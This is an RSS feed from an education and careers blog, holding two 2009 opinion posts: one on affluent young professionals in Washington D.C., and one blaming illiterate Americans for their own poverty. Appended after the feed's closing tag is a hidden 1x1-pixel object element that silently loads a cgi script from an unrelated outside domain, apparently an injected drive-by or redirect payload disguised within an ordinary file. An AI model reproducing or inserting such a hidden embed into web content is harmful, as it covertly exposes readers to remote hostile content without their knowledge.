<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; education and money</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/education-and-money/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Home of the Young and Rich</title>
		<link>http://www.classesandcareers.com/education/2009/10/08/home-of-the-young-and-rich/</link>
		<comments>http://www.classesandcareers.com/education/2009/10/08/home-of-the-young-and-rich/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 18:31:50 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Career Advice]]></category>
		<category><![CDATA[education and money]]></category>
		<category><![CDATA[metropolitan areas]]></category>
		<category><![CDATA[political degrees]]></category>
		<category><![CDATA[Washington D.C.]]></category>
		<category><![CDATA[wealthy]]></category>
		<category><![CDATA[where to live]]></category>
		<category><![CDATA[young and rich]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=837</guid>
		<description><![CDATA[As it turns out Washington D.C. is currently the preferred area for the young adults that are making more than $100k a year. In a recent analysis sixteen of the top 50 counties in the U.S. with the highest share of wealthy young people was the Washington D.C. area.]]></description>
			<content:encoded><![CDATA[<p>As it turns out Washington D.C. is currently the preferred area for the young adults that are making more than $100k a year. In a recent analysis sixteen of the top 50 counties in the U.S. with the highest share of wealthy young people was the <b>Washington D.C. </b>area.</p>
<p>	In terms of percentages, there are counties in the Washington metro area that are making more as a percentage of the population than other young adults in San Francisco and New York. In the 1990s a lot of these wealthy young adults were located in Texas because of the growing economy.</p>
<p>	Now more young professionals are deciding to settle in <b>major metropolitan areas</b>. Behind <a href="http://www.classesandcareers.com/schools_university-of-phoenix/state_district-of-columbia">Washington, D.C</a>. are <a href="http://www.classesandcareers.com/schools_university-of-phoenix/state_california/campus_university-of-phoenix-bay-area-ca/degree_bachelor-degree">San Francisco</a>, Manhattan, and Denver. Approximately, 16 percent of households headed by 25-34 year olds have a median income of $49,754. While slightly more than 13 percent earn $100k a year.</p>
<p>	Overall the <b>national median</b> income is $51,287. One thing to point out though, is that these young individuals may be earning a lot, but they also live in the most expensive areas. Home values are extremely high along with other living expenses. What $100,000 buys in D.C. might equal what $60,000 can buy somewhere else.</p>
<p>	Plus in Washington, D.C. it&#39;s not the government that&#39;s responsible for these salaries. Washington D.C is where a large fraction of the bright and talented <a class="textlink" href="http://www.classesandcareers.com/online-schools_kaplan-university/degrees_it-engineering">individuals</a> congregate and because of that the wages are not that high. There&#39;s a lot of competition. Although those that do earn high wages, are getting those from special interest groups, businesses, and think tanks that try and get government officials on their side.</p>
<p>	Many of these individuals with <b>high incomes</b> are the ones that worked really hard in school, earned degrees, and graduated from top universities throughout the country. So in essence, there isn&#39;t much of a surprise there.&nbsp; </p>
<p>	That&#39;s still quite high though considering the fact that most individuals earn the most when they are between the ages of 45 and 54. But in the meantime these figures seem quite high during these economic times. It seems like many people are struggling to put food on the table, but we need people earning high wages in order to support welfare and social security.</p>
<p>	Although what&#39;s wrong with these people earning that much money? We live in a system that supports <b>Capitalism</b>; therefore it&#39;s every man on his own. If you work hard, become educated or create something, then you will reap the benefits. What&#39;s wrong with these individuals earning that much and more? That&#39;s the American Dream, and it&#39;s still alive today. It&#39;s something that we can all attain if we are willing to put in the sweat and tears that it requires.<br />
	&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/10/08/home-of-the-young-and-rich/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What alleviates poverty? Education</title>
		<link>http://www.classesandcareers.com/education/2009/08/24/what-alleviates-poverty-education/</link>
		<comments>http://www.classesandcareers.com/education/2009/08/24/what-alleviates-poverty-education/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 21:57:45 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Career Advice]]></category>
		<category><![CDATA[Applications]]></category>
		<category><![CDATA[college degrees]]></category>
		<category><![CDATA[college education]]></category>
		<category><![CDATA[education and money]]></category>
		<category><![CDATA[education brings money]]></category>
		<category><![CDATA[no more poverty]]></category>
		<category><![CDATA[online degrees]]></category>
		<category><![CDATA[poverty]]></category>
		<category><![CDATA[poverty and education]]></category>
		<category><![CDATA[poverty line]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=596</guid>
		<description><![CDATA[Education is a major factor that can significantly reduce the number of people living in poverty.  Currently there are 75 million children throughout the world living in poverty.  They tend to live in sub-Saharan Africa and South and East Asia.  And more than half of these 75 million children live in conflict-affected areas.]]></description>
			<content:encoded><![CDATA[<p>Education is a major factor that can significantly reduce the number of people living in poverty.&nbsp; Currently there are 75 million children throughout the world living in poverty.&nbsp; They tend to live in sub-Saharan Africa and South and East Asia.&nbsp; And more than half of these 75 million children live in conflict-affected areas.</p>
<p>	Many of these children that never receive an education are girls.&nbsp; These statistics are a shocking revelation and show that improvement needs to be made.&nbsp; However, there are also millions of adults that are uneducated and<b> illiterate</b> not only in the world but in the United States.</p>
<p>	These illiterate adults that grew up in the United States have <b>no excuse</b>, unlike the millions of children and adults throughout the world that had no choice.&nbsp; These uneducated Americans have been in elementary school, junior high and even <a href="http://www.classesandcareers.com/online-schools_ics-canada/degrees_education/courses_high-school-diploma-ged">high school</a>.&nbsp; Most have gone to school for over ten years and in that time frame they didn&#39;t manage to learn how to read and write. </p>
<p>	Granted many of these individuals <a href="http://www.classesandcareers.com/online-degrees_education/courses_high-school-diploma-ged">dropped out</a> of school but they had the <b>opportunity to learn</b> and chose not too.&nbsp; They have also had the option to go back to school and learn how to read and write.&nbsp; There are many organizations, churches, and individuals that offer programs to help individuals.&nbsp; If people are living in poverty long-term and they had the opportunity to learn and get an education and they chose not to do so; then it is their fault they are struggling.&nbsp; They are proud and do not want to spend the time and effort to learn.</p>
<p>	These individuals particularly in the United States, who chose not to learn their numbers and problem-solving skills should swallow their pride and <b>go back to school</b>.&nbsp; Or as most choose to do, they just float around from job to job pretending they have a normal life, while struggling to pay for their next meal.</p>
<p>	So if you&#39;re an American that decides school isn&#39;t important and playing is where their priority is at, then your future might be bleak.&nbsp; Let me paint a picture for you; in twenty years the individual will still have their job checking ticket stubs at the movie theatre.&nbsp; And instead of living at their parents house, they live in an old trailor.&nbsp; Oh and don&#39;t forget that for their check-up at the doctors, their wife has to take them because they cannot read or fill out the forms.&nbsp; Boy life sounds grand.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/08/24/what-alleviates-poverty-education/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
